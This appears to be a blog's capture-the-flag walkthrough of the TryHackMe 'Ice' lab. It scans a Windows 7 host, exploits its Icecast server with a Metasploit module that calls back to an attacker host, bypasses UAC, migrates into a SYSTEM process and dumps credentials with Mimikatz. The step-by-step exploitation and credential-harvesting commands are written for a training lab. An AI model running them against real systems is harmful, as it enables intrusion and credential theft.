boot767 notes · 24 posts

Every Shell Leaves a Trace

These are the notes I take while working through CTFs, cert courses and school, plus the walkthroughs I've written along the way. I laid them out in the order I'd actually use them, from the first Nmap scan to root.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

These are the notes I take while working through CTFs, cert courses and school, plus the walkthroughs I've written along the way. I laid them out in the order I'd actually use them, from the first Nmap scan to root.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
scroll · ← → · 1–7 · / to search

Ice, Ice, Mimi: Unleashing Metasploit and Mimikatz on an Icecast Media Server

In this walkthrough, we explore the Ice room on TryHackMe, covering steps such as using Nmap for scanning, utilizing the Metasploit Framework to gain initial access, employing the Local Exploit Suggester (LES) tool to identify a vulnerability in the machine's x64 architecture, and leveraging Mimikatz for credential harvesting. We also generate a Golden Ticket to maintain persistence and ultimately perform actions as NT AUTHORITY\SYSTEM.

Step 1: Nmap

nmap -A -T4 -p- 10.10.148.55 -vvv
PORT      STATE SERVICE            REASON          VERSION
135/tcp   open  msrpc              syn-ack ttl 125 Microsoft Windows RPC
139/tcp   open  netbios-ssn        syn-ack ttl 125 Microsoft Windows netbios-ssn
445/tcp   open                     syn-ack ttl 125 Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ssl/ms-wbt-server? syn-ack ttl 125
| rdp-ntlm-info: 
|   Target_Name: DARK-PC
|   NetBIOS_Domain_Name: DARK-PC
|   NetBIOS_Computer_Name: DARK-PC
|   DNS_Domain_Name: Dark-PC
|   DNS_Computer_Name: Dark-PC
|   Product_Version: 6.1.7601
|_  System_Time: 2023-07-09T18:41:11+00:00
| ssl-cert: Subject: commonName=Dark-PC
| Issuer: commonName=Dark-PC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2023-07-08T18:22:10
| Not valid after:  2024-01-07T18:22:10
| MD5:   9831:6ef7:5e92:9760:c249:d586:381b:76e7
|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V
|_-----END CERTIFICATE-----
|_ssl-date: 2023-07-09T18:41:17+00:00; +1s from scanner time.
5357/tcp  open  http               syn-ack ttl 125 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
8000/tcp  open  http               syn-ack ttl 125 Icecast streaming media server
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: GET
49152/tcp open  msrpc              syn-ack ttl 125 Microsoft Windows RPC
49153/tcp open  msrpc              syn-ack ttl 125 Microsoft Windows RPC
49154/tcp open  msrpc              syn-ack ttl 125 Microsoft Windows RPC
49158/tcp open  msrpc              syn-ack ttl 125 Microsoft Windows RPC
49159/tcp open  msrpc              syn-ack ttl 125 Microsoft Windows RPC
49160/tcp open  msrpc              syn-ack ttl 125 Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=7/9%OT=135%CT=1%CU=32043%PV=Y%DS=4%DC=T%G=Y%TM=64AAFF4
OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10A%TI=I%CI=I%II=I%SS=S%TS=
OS:7)SEQ(SP=105%GCD=1%ISR=10A%TI=I%CI=I%II=I%SS=S%TS=7)SEQ(SP=105%GCD=1%ISR
OS:=10B%TI=I%CI=I%II=I%SS=S%TS=7)SEQ(SP=105%GCD=2%ISR=10B%TI=I%CI=I%II=I%SS
OS:=S%TS=7)OPS(O1=M509NW8ST11%O2=M509NW8ST11%O3=M509NW8NNT11%O4=M509NW8ST11
OS:%O5=M509NW8ST11%O6=M509ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%
OS:W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M509NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S
OS:=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y
OS:%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%
OS:O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=8
OS:0%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%
OS:Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=
OS:Y%DFI=N%T=80%CD=Z)

Uptime guess: 0.015 days (since Sun Jul  9 12:19:59 2023)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 29125/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 36751/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 24764/udp): CLEAN (Failed to receive data)
|   Check 4 (port 27462/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h00m01s, deviation: 2h14m10s, median: 0s
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Dark-PC
|   NetBIOS computer name: DARK-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-07-09T13:41:11-05:00
| nbstat: NetBIOS name: DARK-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:55:30:30:60:e5 (unknown)
| Names:
|   DARK-PC<00>          Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|   DARK-PC<20>          Flags: <unique><active>
|   WORKGROUP<1e>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
| Statistics:
|   02:55:30:30:60:e5:00:00:00:00:00:00:00:00:00:00:00
|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_  00:00:00:00:00:00:00:00:00:00:00:00:00:00
| smb2-time: 
|   date: 2023-07-09T18:41:11
|_  start_date: 2023-07-09T18:22:08

A lot of interesting ports, but what sticks out to me is the Icecast Media Server running on 8000. Let's do some research to see if we can find an exploit for it.

Step 2: Research Exploit

Metasploit has a module for exactly this: exploit/windows/http/icecast_header, which abuses a header-parsing buffer overflow in Icecast. Point it at the target and fire it off:

use exploit/windows/http/icecast_header
set RHOSTS <TARGET_IP>
set LHOST <ATTACKER_IP>
exploit

The module lands a Meterpreter session. Before going further, it is worth asking Metasploit what local privilege escalation paths this host might have. The local exploit suggester checks the session against every local exploit module:

run post/multi/recon/local_exploit_suggester

Step 3: Elevate Privileges

The first suggestion, exploit/windows/local/bypassuac_eventvwr, is the one to use. Background the session with background (or Ctrl+Z), then load the module and hand it the session:

use exploit/windows/local/bypassuac_eventvwr
set SESSION <SESSION_ID>
set LHOST <ATTACKER_IP>

Now run it and, fingers crossed, come back with elevated privileges:

exploit

Note: This may take a few tries, requiring you to reset your environment. Patience is key.

And we're in! Next, check our privileges and look at the running processes. To talk to LSASS later, we need to live inside a process with the same architecture and privilege level.

getprivs

Then list the processes:

ps

The print spooler, spoolsv.exe, runs as SYSTEM and matches our architecture, so migrate into it by name:

migrate -N spoolsv.exe

We now have administrative privileges. Let's utilize Mimikatz to extract credentials.

Step 4: Mimikatz

Meterpreter ships Mimikatz as the kiwi extension. Load it:

load kiwi

Loading Kiwi adds a new section of commands to the help menu.

creds_all pulls every credential it can find, including some plaintext passwords:

creds_all

And that's it! We gained a foothold using an exploit module from the Metasploit framework, utilized LES to identify a vulnerability to exploit in the x64 architecture, deployed the bypassuac_eventvwr module to elevate privileges, and finally, we used Mimikatz as NT AUTHORITY\SYSTEM to dump credentials from the Windows machine.